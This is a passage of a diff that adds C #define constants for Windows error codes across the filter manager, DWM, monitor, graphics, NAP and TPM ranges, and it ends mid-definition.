+#define ERROR_FLT_POST_OPERATION_CLEANUP -2145452023 +#define ERROR_FLT_INTERNAL_ERROR -2145452022 +#define ERROR_FLT_DELETING_OBJECT -2145452021 +#define ERROR_FLT_MUST_BE_NONPAGED_POOL -2145452020 +#define ERROR_FLT_DUPLICATE_ENTRY -2145452019 +#define ERROR_FLT_CBDQ_DISABLED -2145452018 +#define ERROR_FLT_DO_NOT_ATTACH -2145452017 +#define ERROR_FLT_DO_NOT_DETACH -2145452016 +#define ERROR_FLT_INSTANCE_ALTITUDE_COLLISION -2145452015 +#define ERROR_FLT_INSTANCE_NAME_COLLISION -2145452014 +#define ERROR_FLT_FILTER_NOT_FOUND -2145452013 +#define ERROR_FLT_VOLUME_NOT_FOUND -2145452012 +#define ERROR_FLT_INSTANCE_NOT_FOUND -2145452011 +#define ERROR_FLT_CONTEXT_ALLOCATION_NOT_FOUND -2145452010 +#define ERROR_FLT_INVALID_CONTEXT_REGISTRATION -2145452009 +#define ERROR_FLT_NAME_CACHE_MISS -2145452008 +#define ERROR_FLT_NO_DEVICE_OBJECT -2145452007 +#define ERROR_FLT_VOLUME_ALREADY_MOUNTED -2145452006 +#define ERROR_FLT_ALREADY_ENLISTED -2145452005 +#define ERROR_FLT_CONTEXT_ALREADY_LINKED -2145452004 +#define ERROR_FLT_NO_WAITER_FOR_REPLY -2145452000 +#define ERROR_FLT_REGISTRATION_BUSY -2145451997 +#define ERROR_FLT_WCOS_NOT_SUPPORTED -2145451996 +#define ERROR_HUNG_DISPLAY_DRIVER_THREAD -2144993279 +#define DWM_E_COMPOSITIONDISABLED -2144980991 +#define DWM_E_REMOTING_NOT_SUPPORTED -2144980990 +#define DWM_E_NO_REDIRECTION_SURFACE_AVAILABLE -2144980989 +#define DWM_E_NOT_QUEUING_PRESENTS -2144980988 +#define DWM_E_ADAPTER_NOT_FOUND -2144980987 +#define DWM_S_GDI_REDIRECTION_SURFACE 2502661 +#define DWM_E_TEXTURE_TOO_LARGE -2144980985 +#define DWM_S_GDI_REDIRECTION_SURFACE_BLT_VIA_GDI 2502664 +#define ERROR_MONITOR_NO_DESCRIPTOR 2494465 +#define ERROR_MONITOR_UNKNOWN_DESCRIPTOR_FORMAT 2494466 +#define ERROR_MONITOR_INVALID_DESCRIPTOR_CHECKSUM -1071247357 +#define ERROR_MONITOR_INVALID_STANDARD_TIMING_BLOCK -1071247356 +#define ERROR_MONITOR_WMI_DATABLOCK_REGISTRATION_FAILED -1071247355 +#define ERROR_MONITOR_INVALID_SERIAL_NUMBER_MONDSC_BLOCK -1071247354 +#define ERROR_MONITOR_INVALID_USER_FRIENDLY_MONDSC_BLOCK -1071247353 +#define ERROR_MONITOR_NO_MORE_DESCRIPTOR_DATA -1071247352 +#define ERROR_MONITOR_INVALID_DETAILED_TIMING_BLOCK -1071247351 +#define ERROR_MONITOR_INVALID_MANUFACTURE_DATE -1071247350 +#define ERROR_GRAPHICS_NOT_EXCLUSIVE_MODE_OWNER -1071243264 +#define ERROR_GRAPHICS_INSUFFICIENT_DMA_BUFFER -1071243263 +#define ERROR_GRAPHICS_INVALID_DISPLAY_ADAPTER -1071243262 +#define ERROR_GRAPHICS_ADAPTER_WAS_RESET -1071243261 +#define ERROR_GRAPHICS_INVALID_DRIVER_MODEL -1071243260 +#define ERROR_GRAPHICS_PRESENT_MODE_CHANGED -1071243259 +#define ERROR_GRAPHICS_PRESENT_OCCLUDED -1071243258 +#define ERROR_GRAPHICS_PRESENT_DENIED -1071243257 +#define ERROR_GRAPHICS_CANNOTCOLORCONVERT -1071243256 +#define ERROR_GRAPHICS_DRIVER_MISMATCH -1071243255 +#define ERROR_GRAPHICS_PARTIAL_DATA_POPULATED 1076240394 +#define ERROR_GRAPHICS_PRESENT_REDIRECTION_DISABLED -1071243253 +#define ERROR_GRAPHICS_PRESENT_UNOCCLUDED -1071243252 +#define ERROR_GRAPHICS_WINDOWDC_NOT_AVAILABLE -1071243251 +#define ERROR_GRAPHICS_WINDOWLESS_PRESENT_DISABLED -1071243250 +#define ERROR_GRAPHICS_PRESENT_INVALID_WINDOW -1071243249 +#define ERROR_GRAPHICS_PRESENT_BUFFER_NOT_BOUND -1071243248 +#define ERROR_GRAPHICS_VAIL_STATE_CHANGED -1071243247 +#define ERROR_GRAPHICS_INDIRECT_DISPLAY_ABANDON_SWAPCHAIN -1071243246 +#define ERROR_GRAPHICS_INDIRECT_DISPLAY_DEVICE_STOPPED -1071243245 +#define ERROR_GRAPHICS_VAIL_FAILED_TO_SEND_CREATE_SUPERWETINK_MESSAGE -1071243244 +#define ERROR_GRAPHICS_VAIL_FAILED_TO_SEND_DESTROY_SUPERWETINK_MESSAGE -1071243243 +#define ERROR_GRAPHICS_VAIL_FAILED_TO_SEND_COMPOSITION_WINDOW_DPI_MESSAGE -1071243242 +#define ERROR_GRAPHICS_LINK_CONFIGURATION_IN_PROGRESS -1071243241 +#define ERROR_GRAPHICS_MPO_ALLOCATION_UNPINNED -1071243240 +#define ERROR_GRAPHICS_SETDISPLAYMODE_REQUIRED -1071243239 +#define ERROR_GRAPHICS_NO_VIDEO_MEMORY -1071243008 +#define ERROR_GRAPHICS_CANT_LOCK_MEMORY -1071243007 +#define ERROR_GRAPHICS_ALLOCATION_BUSY -1071243006 +#define ERROR_GRAPHICS_TOO_MANY_REFERENCES -1071243005 +#define ERROR_GRAPHICS_TRY_AGAIN_LATER -1071243004 +#define ERROR_GRAPHICS_TRY_AGAIN_NOW -1071243003 +#define ERROR_GRAPHICS_ALLOCATION_INVALID -1071243002 +#define ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNAVAILABLE -1071243001 +#define ERROR_GRAPHICS_UNSWIZZLING_APERTURE_UNSUPPORTED -1071243000 +#define ERROR_GRAPHICS_CANT_EVICT_PINNED_ALLOCATION -1071242999 +#define ERROR_GRAPHICS_INVALID_ALLOCATION_USAGE -1071242992 +#define ERROR_GRAPHICS_CANT_RENDER_LOCKED_ALLOCATION -1071242991 +#define ERROR_GRAPHICS_ALLOCATION_CLOSED -1071242990 +#define ERROR_GRAPHICS_INVALID_ALLOCATION_INSTANCE -1071242989 +#define ERROR_GRAPHICS_INVALID_ALLOCATION_HANDLE -1071242988 +#define ERROR_GRAPHICS_WRONG_ALLOCATION_DEVICE -1071242987 +#define ERROR_GRAPHICS_ALLOCATION_CONTENT_LOST -1071242986 +#define ERROR_GRAPHICS_GPU_EXCEPTION_ON_DEVICE -1071242752 +#define ERROR_GRAPHICS_SKIP_ALLOCATION_PREPARATION 1076240897 +#define ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY -1071242496 +#define ERROR_GRAPHICS_VIDPN_TOPOLOGY_NOT_SUPPORTED -1071242495 +#define ERROR_GRAPHICS_VIDPN_TOPOLOGY_CURRENTLY_NOT_SUPPORTED -1071242494 +#define ERROR_GRAPHICS_INVALID_VIDPN -1071242493 +#define ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE -1071242492 +#define ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET -1071242491 +#define ERROR_GRAPHICS_VIDPN_MODALITY_NOT_SUPPORTED -1071242490 +#define ERROR_GRAPHICS_MODE_NOT_PINNED 2499335 +#define ERROR_GRAPHICS_INVALID_VIDPN_SOURCEMODESET -1071242488 +#define ERROR_GRAPHICS_INVALID_VIDPN_TARGETMODESET -1071242487 +#define ERROR_GRAPHICS_INVALID_FREQUENCY -1071242486 +#define ERROR_GRAPHICS_INVALID_ACTIVE_REGION -1071242485 +#define ERROR_GRAPHICS_INVALID_TOTAL_REGION -1071242484 +#define ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_SOURCE_MODE -1071242480 +#define ERROR_GRAPHICS_INVALID_VIDEO_PRESENT_TARGET_MODE -1071242479 +#define ERROR_GRAPHICS_PINNED_MODE_MUST_REMAIN_IN_SET -1071242478 +#define ERROR_GRAPHICS_PATH_ALREADY_IN_TOPOLOGY -1071242477 +#define ERROR_GRAPHICS_MODE_ALREADY_IN_MODESET -1071242476 +#define ERROR_GRAPHICS_INVALID_VIDEOPRESENTSOURCESET -1071242475 +#define ERROR_GRAPHICS_INVALID_VIDEOPRESENTTARGETSET -1071242474 +#define ERROR_GRAPHICS_SOURCE_ALREADY_IN_SET -1071242473 +#define ERROR_GRAPHICS_TARGET_ALREADY_IN_SET -1071242472 +#define ERROR_GRAPHICS_INVALID_VIDPN_PRESENT_PATH -1071242471 +#define ERROR_GRAPHICS_NO_RECOMMENDED_VIDPN_TOPOLOGY -1071242470 +#define ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGESET -1071242469 +#define ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE -1071242468 +#define ERROR_GRAPHICS_FREQUENCYRANGE_NOT_IN_SET -1071242467 +#define ERROR_GRAPHICS_NO_PREFERRED_MODE 2499358 +#define ERROR_GRAPHICS_FREQUENCYRANGE_ALREADY_IN_SET -1071242465 +#define ERROR_GRAPHICS_STALE_MODESET -1071242464 +#define ERROR_GRAPHICS_INVALID_MONITOR_SOURCEMODESET -1071242463 +#define ERROR_GRAPHICS_INVALID_MONITOR_SOURCE_MODE -1071242462 +#define ERROR_GRAPHICS_NO_RECOMMENDED_FUNCTIONAL_VIDPN -1071242461 +#define ERROR_GRAPHICS_MODE_ID_MUST_BE_UNIQUE -1071242460 +#define ERROR_GRAPHICS_EMPTY_ADAPTER_MONITOR_MODE_SUPPORT_INTERSECTION -1071242459 +#define ERROR_GRAPHICS_VIDEO_PRESENT_TARGETS_LESS_THAN_SOURCES -1071242458 +#define ERROR_GRAPHICS_PATH_NOT_IN_TOPOLOGY -1071242457 +#define ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_SOURCE -1071242456 +#define ERROR_GRAPHICS_ADAPTER_MUST_HAVE_AT_LEAST_ONE_TARGET -1071242455 +#define ERROR_GRAPHICS_INVALID_MONITORDESCRIPTORSET -1071242454 +#define ERROR_GRAPHICS_INVALID_MONITORDESCRIPTOR -1071242453 +#define ERROR_GRAPHICS_MONITORDESCRIPTOR_NOT_IN_SET -1071242452 +#define ERROR_GRAPHICS_MONITORDESCRIPTOR_ALREADY_IN_SET -1071242451 +#define ERROR_GRAPHICS_MONITORDESCRIPTOR_ID_MUST_BE_UNIQUE -1071242450 +#define ERROR_GRAPHICS_INVALID_VIDPN_TARGET_SUBSET_TYPE -1071242449 +#define ERROR_GRAPHICS_RESOURCES_NOT_RELATED -1071242448 +#define ERROR_GRAPHICS_SOURCE_ID_MUST_BE_UNIQUE -1071242447 +#define ERROR_GRAPHICS_TARGET_ID_MUST_BE_UNIQUE -1071242446 +#define ERROR_GRAPHICS_NO_AVAILABLE_VIDPN_TARGET -1071242445 +#define ERROR_GRAPHICS_MONITOR_COULD_NOT_BE_ASSOCIATED_WITH_ADAPTER -1071242444 +#define ERROR_GRAPHICS_NO_VIDPNMGR -1071242443 +#define ERROR_GRAPHICS_NO_ACTIVE_VIDPN -1071242442 +#define ERROR_GRAPHICS_STALE_VIDPN_TOPOLOGY -1071242441 +#define ERROR_GRAPHICS_MONITOR_NOT_CONNECTED -1071242440 +#define ERROR_GRAPHICS_SOURCE_NOT_IN_TOPOLOGY -1071242439 +#define ERROR_GRAPHICS_INVALID_PRIMARYSURFACE_SIZE -1071242438 +#define ERROR_GRAPHICS_INVALID_VISIBLEREGION_SIZE -1071242437 +#define ERROR_GRAPHICS_INVALID_STRIDE -1071242436 +#define ERROR_GRAPHICS_INVALID_PIXELFORMAT -1071242435 +#define ERROR_GRAPHICS_INVALID_COLORBASIS -1071242434 +#define ERROR_GRAPHICS_INVALID_PIXELVALUEACCESSMODE -1071242433 +#define ERROR_GRAPHICS_TARGET_NOT_IN_TOPOLOGY -1071242432 +#define ERROR_GRAPHICS_NO_DISPLAY_MODE_MANAGEMENT_SUPPORT -1071242431 +#define ERROR_GRAPHICS_VIDPN_SOURCE_IN_USE -1071242430 +#define ERROR_GRAPHICS_CANT_ACCESS_ACTIVE_VIDPN -1071242429 +#define ERROR_GRAPHICS_INVALID_PATH_IMPORTANCE_ORDINAL -1071242428 +#define ERROR_GRAPHICS_INVALID_PATH_CONTENT_GEOMETRY_TRANSFORMATION -1071242427 +#define ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_SUPPORTED -1071242426 +#define ERROR_GRAPHICS_INVALID_GAMMA_RAMP -1071242425 +#define ERROR_GRAPHICS_GAMMA_RAMP_NOT_SUPPORTED -1071242424 +#define ERROR_GRAPHICS_MULTISAMPLING_NOT_SUPPORTED -1071242423 +#define ERROR_GRAPHICS_MODE_NOT_IN_MODESET -1071242422 +#define ERROR_GRAPHICS_DATASET_IS_EMPTY 2499403 +#define ERROR_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET 2499404 +#define ERROR_GRAPHICS_INVALID_VIDPN_TOPOLOGY_RECOMMENDATION_REASON -1071242419 +#define ERROR_GRAPHICS_INVALID_PATH_CONTENT_TYPE -1071242418 +#define ERROR_GRAPHICS_INVALID_COPYPROTECTION_TYPE -1071242417 +#define ERROR_GRAPHICS_UNASSIGNED_MODESET_ALREADY_EXISTS -1071242416 +#define ERROR_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED 2499409 +#define ERROR_GRAPHICS_INVALID_SCANLINE_ORDERING -1071242414 +#define ERROR_GRAPHICS_TOPOLOGY_CHANGES_NOT_ALLOWED -1071242413 +#define ERROR_GRAPHICS_NO_AVAILABLE_IMPORTANCE_ORDINALS -1071242412 +#define ERROR_GRAPHICS_INCOMPATIBLE_PRIVATE_FORMAT -1071242411 +#define ERROR_GRAPHICS_INVALID_MODE_PRUNING_ALGORITHM -1071242410 +#define ERROR_GRAPHICS_INVALID_MONITOR_CAPABILITY_ORIGIN -1071242409 +#define ERROR_GRAPHICS_INVALID_MONITOR_FREQUENCYRANGE_CONSTRAINT -1071242408 +#define ERROR_GRAPHICS_MAX_NUM_PATHS_REACHED -1071242407 +#define ERROR_GRAPHICS_CANCEL_VIDPN_TOPOLOGY_AUGMENTATION -1071242406 +#define ERROR_GRAPHICS_INVALID_CLIENT_TYPE -1071242405 +#define ERROR_GRAPHICS_CLIENTVIDPN_NOT_SET -1071242404 +#define ERROR_GRAPHICS_SPECIFIED_CHILD_ALREADY_CONNECTED -1071242240 +#define ERROR_GRAPHICS_CHILD_DESCRIPTOR_NOT_SUPPORTED -1071242239 +#define ERROR_GRAPHICS_UNKNOWN_CHILD_STATUS 1076241455 +#define ERROR_GRAPHICS_NOT_A_LINKED_ADAPTER -1071242192 +#define ERROR_GRAPHICS_LEADLINK_NOT_ENUMERATED -1071242191 +#define ERROR_GRAPHICS_CHAINLINKS_NOT_ENUMERATED -1071242190 +#define ERROR_GRAPHICS_ADAPTER_CHAIN_NOT_READY -1071242189 +#define ERROR_GRAPHICS_CHAINLINKS_NOT_STARTED -1071242188 +#define ERROR_GRAPHICS_CHAINLINKS_NOT_POWERED_ON -1071242187 +#define ERROR_GRAPHICS_INCONSISTENT_DEVICE_LINK_STATE -1071242186 +#define ERROR_GRAPHICS_LEADLINK_START_DEFERRED 1076241463 +#define ERROR_GRAPHICS_NOT_POST_DEVICE_DRIVER -1071242184 +#define ERROR_GRAPHICS_POLLING_TOO_FREQUENTLY 1076241465 +#define ERROR_GRAPHICS_START_DEFERRED 1076241466 +#define ERROR_GRAPHICS_ADAPTER_ACCESS_NOT_EXCLUDED -1071242181 +#define ERROR_GRAPHICS_DEPENDABLE_CHILD_STATUS 1076241468 +#define ERROR_GRAPHICS_OPM_NOT_SUPPORTED -1071241984 +#define ERROR_GRAPHICS_COPP_NOT_SUPPORTED -1071241983 +#define ERROR_GRAPHICS_UAB_NOT_SUPPORTED -1071241982 +#define ERROR_GRAPHICS_OPM_INVALID_ENCRYPTED_PARAMETERS -1071241981 +#define ERROR_GRAPHICS_OPM_NO_VIDEO_OUTPUTS_EXIST -1071241979 +#define ERROR_GRAPHICS_OPM_INTERNAL_ERROR -1071241973 +#define ERROR_GRAPHICS_OPM_INVALID_HANDLE -1071241972 +#define ERROR_GRAPHICS_PVP_INVALID_CERTIFICATE_LENGTH -1071241970 +#define ERROR_GRAPHICS_OPM_SPANNING_MODE_ENABLED -1071241969 +#define ERROR_GRAPHICS_OPM_THEATER_MODE_ENABLED -1071241968 +#define ERROR_GRAPHICS_PVP_HFS_FAILED -1071241967 +#define ERROR_GRAPHICS_OPM_INVALID_SRM -1071241966 +#define ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_HDCP -1071241965 +#define ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_ACP -1071241964 +#define ERROR_GRAPHICS_OPM_OUTPUT_DOES_NOT_SUPPORT_CGMSA -1071241963 +#define ERROR_GRAPHICS_OPM_HDCP_SRM_NEVER_SET -1071241962 +#define ERROR_GRAPHICS_OPM_RESOLUTION_TOO_HIGH -1071241961 +#define ERROR_GRAPHICS_OPM_ALL_HDCP_HARDWARE_ALREADY_IN_USE -1071241960 +#define ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_NO_LONGER_EXISTS -1071241958 +#define ERROR_GRAPHICS_OPM_SESSION_TYPE_CHANGE_IN_PROGRESS -1071241957 +#define ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_DOES_NOT_HAVE_COPP_SEMANTICS -1071241956 +#define ERROR_GRAPHICS_OPM_INVALID_INFORMATION_REQUEST -1071241955 +#define ERROR_GRAPHICS_OPM_DRIVER_INTERNAL_ERROR -1071241954 +#define ERROR_GRAPHICS_OPM_VIDEO_OUTPUT_DOES_NOT_HAVE_OPM_SEMANTICS -1071241953 +#define ERROR_GRAPHICS_OPM_SIGNALING_NOT_SUPPORTED -1071241952 +#define ERROR_GRAPHICS_OPM_INVALID_CONFIGURATION_REQUEST -1071241951 +#define ERROR_GRAPHICS_I2C_NOT_SUPPORTED -1071241856 +#define ERROR_GRAPHICS_I2C_DEVICE_DOES_NOT_EXIST -1071241855 +#define ERROR_GRAPHICS_I2C_ERROR_TRANSMITTING_DATA -1071241854 +#define ERROR_GRAPHICS_I2C_ERROR_RECEIVING_DATA -1071241853 +#define ERROR_GRAPHICS_DDCCI_VCP_NOT_SUPPORTED -1071241852 +#define ERROR_GRAPHICS_DDCCI_INVALID_DATA -1071241851 +#define ERROR_GRAPHICS_DDCCI_MONITOR_RETURNED_INVALID_TIMING_STATUS_BYTE -1071241850 +#define ERROR_GRAPHICS_MCA_INVALID_CAPABILITIES_STRING -1071241849 +#define ERROR_GRAPHICS_MCA_INTERNAL_ERROR -1071241848 +#define ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_COMMAND -1071241847 +#define ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_LENGTH -1071241846 +#define ERROR_GRAPHICS_DDCCI_INVALID_MESSAGE_CHECKSUM -1071241845 +#define ERROR_GRAPHICS_INVALID_PHYSICAL_MONITOR_HANDLE -1071241844 +#define ERROR_GRAPHICS_MONITOR_NO_LONGER_EXISTS -1071241843 +#define ERROR_GRAPHICS_DDCCI_CURRENT_CURRENT_VALUE_GREATER_THAN_MAXIMUM_VALUE -1071241768 +#define ERROR_GRAPHICS_MCA_INVALID_VCP_VERSION -1071241767 +#define ERROR_GRAPHICS_MCA_MONITOR_VIOLATES_MCCS_SPECIFICATION -1071241766 +#define ERROR_GRAPHICS_MCA_MCCS_VERSION_MISMATCH -1071241765 +#define ERROR_GRAPHICS_MCA_UNSUPPORTED_MCCS_VERSION -1071241764 +#define ERROR_GRAPHICS_MCA_INVALID_TECHNOLOGY_TYPE_RETURNED -1071241762 +#define ERROR_GRAPHICS_MCA_UNSUPPORTED_COLOR_TEMPERATURE -1071241761 +#define ERROR_GRAPHICS_ONLY_CONSOLE_SESSION_SUPPORTED -1071241760 +#define ERROR_GRAPHICS_NO_DISPLAY_DEVICE_CORRESPONDS_TO_NAME -1071241759 +#define ERROR_GRAPHICS_DISPLAY_DEVICE_NOT_ATTACHED_TO_DESKTOP -1071241758 +#define ERROR_GRAPHICS_MIRRORING_DEVICES_NOT_SUPPORTED -1071241757 +#define ERROR_GRAPHICS_INVALID_POINTER -1071241756 +#define ERROR_GRAPHICS_NO_MONITORS_CORRESPOND_TO_DISPLAY_DEVICE -1071241755 +#define ERROR_GRAPHICS_PARAMETER_ARRAY_TOO_SMALL -1071241754 +#define ERROR_GRAPHICS_INTERNAL_ERROR -1071241753 +#define ERROR_GRAPHICS_SESSION_TYPE_CHANGE_IN_PROGRESS -1071249944 +#define ERROR_GRAPHICS_UNKNOWN_BIOS_FRAME_BUFFER_NOT_FOUND -1071241728 +#define ERROR_GRAPHICS_UEFI_FRAME_BUFFER_NOT_FOUND -1071241727 +#define NAP_E_INVALID_PACKET -2144927743 +#define NAP_E_MISSING_SOH -2144927742 +#define NAP_E_CONFLICTING_ID -2144927741 +#define NAP_E_NO_CACHED_SOH -2144927740 +#define NAP_E_STILL_BOUND -2144927739 +#define NAP_E_NOT_REGISTERED -2144927738 +#define NAP_E_NOT_INITIALIZED -2144927737 +#define NAP_E_MISMATCHED_ID -2144927736 +#define NAP_E_NOT_PENDING -2144927735 +#define NAP_E_ID_NOT_FOUND -2144927734 +#define NAP_E_MAXSIZE_TOO_SMALL -2144927733 +#define NAP_E_SERVICE_NOT_RUNNING -2144927732 +#define NAP_S_CERT_ALREADY_PRESENT 2555917 +#define NAP_E_ENTITY_DISABLED -2144927730 +#define NAP_E_NETSH_GROUPPOLICY_ERROR -2144927729 +#define NAP_E_TOO_MANY_CALLS -2144927728 +#define NAP_E_SHV_CONFIG_EXISTED -2144927727 +#define NAP_E_SHV_CONFIG_NOT_FOUND -2144927726 +#define NAP_E_SHV_TIMEOUT -2144927725 +#define TPM_E_ERROR_MASK -2144862208 +#define TPM_E_AUTHFAIL -2144862207 +#define TPM_E_BADINDEX -2144862206 +#define TPM_E_BAD_PARAMETER -2144862205 +#define TPM_E_AUDITFAILURE -2144862204 +#define TPM_E_CLEAR_DISABLED -2144862203 +#define TPM_E_DEACTIVATED -2144862202 +#define TPM_E_DISABLED -2144862201 +#define TPM_E_DISABLED_CMD -2144862200 +#define TPM_E_FAIL -2144862199 +#define TPM_E_BAD_ORDINAL -2144862198 +#define TPM_E_INSTALL_DISABLED -2144862197 +#define TPM_E_INVALID_KEYHANDLE -2144862196 +#define TPM_E_KEYNOTFOUND -2144862195 +#define TPM_E_INAPPROPRIATE_ENC -2144862194 +#define TPM_E_MIGRATEFAIL -2144862193 +#define TPM_E_INVALID_PCR_INFO -2144862192 +#define TPM_E_NOSPACE -2144862191 +#define TPM_E_NOSRK -2144862190 +#define TPM_E_NOTSEALED_BLOB -2144862189 +#define TPM_E_OWNER_SET -2144862188 +#define TPM_E_RESOURCES -2144862187 +#define TPM_E_SHORTRANDOM -2144862186 +#define TPM_E_SIZE -2144862185 +#define TPM_E_WRONGPCRVAL -2144862184 +#define TPM_E_BAD_PARAM_SIZE -2144862183 +#define TPM_E_SHA_THREAD -2144862182 +#define TPM_E_SHA_ERROR -2144862181 +#define TPM_E_FAILEDSELFTEST -2144862180 +#define TPM_E_AUTH2FAIL -2144862179 +#define TPM_E_BADTAG -2144862178 +#define TPM_E_IOERROR -2144862177 +#define TPM_E_ENCRYPT_ERROR -2144862176 +#define TPM_E_DECRYPT_ERROR -2144862175 +#define TPM_E_INVALID_AUTHHANDLE -2144862174 +#define TPM_E_NO_ENDORSEMENT -2144862173 +#define TPM_E_INVALID_KEYUSAGE -2144862172 +#define TPM_E_WRONG_ENTITYTYPE -2144862171 +#define TPM_E_INVALID_POSTINIT -2144862170 +#define TPM_E_INAPPROPRIATE_SIG -2144862169 +#define TPM_E_BAD_KEY_PROPERTY -2144862168 +#define TPM_E_BAD_MIGRATION -2144862167 +#define TPM_E_BAD_SCHEME -2144862166 +#define TPM_E_BAD_DATASIZE -2144862165 +#define TPM_E_BAD_MODE -2144862164 +#define TPM_E_BAD_PRESENCE -2144862163 +#define TPM_E_BAD_VERSION -2144862162 +#define TPM_E_NO_WRAP_TRANSPORT -2144862161 +#define TPM_E_AUDITFAIL_UNSUCCESSFUL -2144862160 +#define TPM_E_AUDITFAIL_SUCCESSFUL -2144862159 +#define TPM_E_NOTRESETABLE -2144862158 +#define TPM_E_NOTLOCAL -2144862157 +#define TPM_E_BAD_TYPE -2144862156 +#define TPM_E_INVALID_RESOURCE -2144862155 +#define TPM_E_NOTFIPS -2144862154 +#define TPM_E_INVALID_FAMILY -2144862153 +#define TPM_E_NO_NV_PERMISSION -2144862152 +#define TPM_E_REQUIRES_SIGN -2144862151 +#define TPM_E_KEY_NOTSUPPORTED -2144862150 +#define TPM_E_AUTH_CONFLICT -2144862149 +#define TPM_E_AREA_LOCKED -2144862148 +#define TPM_E_BAD_LOCALITY -2144862147 +#define TPM_E_READ_ONLY -2144862146 +#define TPM_E_PER_NOWRITE -2144862145 +#define TPM_E_FAMILYCOUNT -2144862144 +#define TPM_E_WRITE_LOCKED -2144862143 +#define TPM_E_BAD_ATTRIBUTES -2144862142 +#define TPM_E_INVALID_STRUCTURE -2144862141 +#define TPM_E_KEY_OWNER_CONTROL -2144862140 +#define TPM_E_BAD_COUNTER -2144862139 +#define TPM_E_NOT_FULLWRITE -2144862138 +#define TPM_E_CONTEXT_GAP -2144862137 +#define TPM_E_MAXNVWRITES -2144862136 +#define TPM_E_NOOPERATOR -2144862135 +#define TPM_E_RESOURCEMISSING -2144862134 +#define TPM_E_DELEGATE_LOCK -2144862133 +#define TPM_E_DELEGATE_FAMILY -2144862132 +#define TPM_E_DELEGATE_ADMIN -2144862131 +#define TPM_E_TRANSPORT_NOTEXCLUSIVE -2144862130 +#define TPM_E_OWNER_CONTROL -2144862129 +#define TPM_E_DAA_RESOURCES -2144862128 +#define TPM_E_DAA_INPUT_DATA0 -2144862127 +#define TPM_E_DAA_INPUT_DATA1 -2144862126 +#define TPM_E_DAA_ISSUER_SETTINGS -2144862125 +#define TPM_E_DAA_TPM_SETTINGS -2144862124 +#define TPM_E_DAA_STAGE -2144862123 +#define TPM_E_DAA_ISSUER_VALIDITY -2144862122 +#define TPM_E_DAA_WRONG_W -2144862121 +#define TPM_E_BAD_HANDLE -2144862120 +#define TPM_E_BAD_DELEGATE -2144862119 +#define TPM_E_BADCONTEXT -2144862118 +#define TPM_E_TOOMANYCONTEXTS -2144862117 +#define TPM_E_MA_TICKET_SIGNATURE -2144862116 +#define TPM_E_MA_DESTINATION -2144862115 +#define TPM_E_MA_SOURCE -2144862114 +#define TPM_E_MA_AUTHORITY -2144862113 +#define TPM_E_PERMANENTEK -2144862111 +#define TPM_E_BAD_SIGNATURE -2144862110 +#define TPM_E_NOCONTEXTSPACE -2144862109 +#define TPM_20_E_ASYMMETRIC -2144862079 +#define TPM_20_E_ATTRIBUTES -2144862078 +#define TPM_20_E_HASH -2144862077 +#define TPM_20_E_VALUE -2144862076 +#define TPM_20_E_HIERARCHY -2144862075 +#define TPM_20_E_KEY_SIZE -2144862073 +#define TPM_20_E_MGF -2144862072 +#define TPM_20_E_MODE -2144862071 +#define TPM_20_E_TYPE -2144862070 +#define TPM_20_E_HANDLE -2144862069 +#define TPM_20_E_KDF -2144862068 +#define TPM_20_E_RANGE -2144862067 +#define TPM_20_E_AUTH_FAIL -2144862066 +#define TPM_20_E_NONCE -2144862065 +#define TPM_20_E_PP -2144862064 +#define TPM_20_E_SCHEME -2144862062 +#define TPM_20_E_SIZE -2144862059 +#define TPM_20_E_SYMMETRIC -2144862058 +#define TPM_20_E_TAG -2144862057 +#define TPM_20_E_SELECTOR -2144862056 +#define TPM_20_E_INSUFFICIENT -2144862054 +#define TPM_20_E_SIGNATURE -2144862053 +#define TPM_20_E_KEY -2144862052 +#define TPM_20_E_POLICY_FAIL -2144862051 +#define TPM_20_E_INTEGRITY -2144862049 +#define TPM_20_E_TICKET -2144862048 +#define TPM_20_E_RESERVED_BITS -2144862047 +#define TPM_20_E_BAD_AUTH -2144862046 +#define TPM_20_E_EXPIRED -2144862045 +#define TPM_20_E_POLICY_CC -2144862044 +#define TPM_20_E_BINDING -2144862043 +#define TPM_20_E_CURVE -2144862042 +#define TPM_20_E_ECC_POINT -2144862041 +#define TPM_20_E_INITIALIZE -2144861952 +#define TPM_20_E_FAILURE -2144861951 +#define TPM_20_E_SEQUENCE -2144861949 +#define TPM_20_E_PRIVATE -2144861941 +#define TPM_20_E_HMAC -2144861927 +#define TPM_20_E_DISABLED -2144861920 +#define TPM_20_E_EXCLUSIVE -2144861919 +#define TPM_20_E_ECC_CURVE -2144861917 +#define TPM_20_E_AUTH_TYPE -2144861916 +#define TPM_20_E_AUTH_MISSING -2144861915 +#define TPM_20_E_POLICY -2144861914 +#define TPM_20_E_PCR -2144861913 +#define TPM_20_E_PCR_CHANGED -2144861912 +#define TPM_20_E_UPGRADE -2144861907 +#define TPM_20_E_TOO_MANY_CONTEXTS -2144861906 +#define TPM_20_E_AUTH_UNAVAILABLE -2144861905 +#define TPM_20_E_REBOOT -2144861904 +#define TPM_20_E_UNBALANCED -2144861903 +#define TPM_20_E_COMMAND_SIZE -2144861886 +#define TPM_20_E_COMMAND_CODE -2144861885 +#define TPM_20_E_AUTHSIZE -2144861884 +#define TPM_20_E_AUTH_CONTEXT -2144861883 +#define TPM_20_E_NV_RANGE -2144861882 +#define TPM_20_E_NV_SIZE -2144861881 +#define TPM_20_E_NV_LOCKED -2144861880 +#define TPM_20_E_NV_AUTHORIZATION -2144861879 +#define TPM_20_E_NV_UNINITIALIZED -2144861878 +#define TPM_20_E_NV_SPACE -2144861877 +#define TPM_20_E_NV_DEFINED -2144861876 +#define 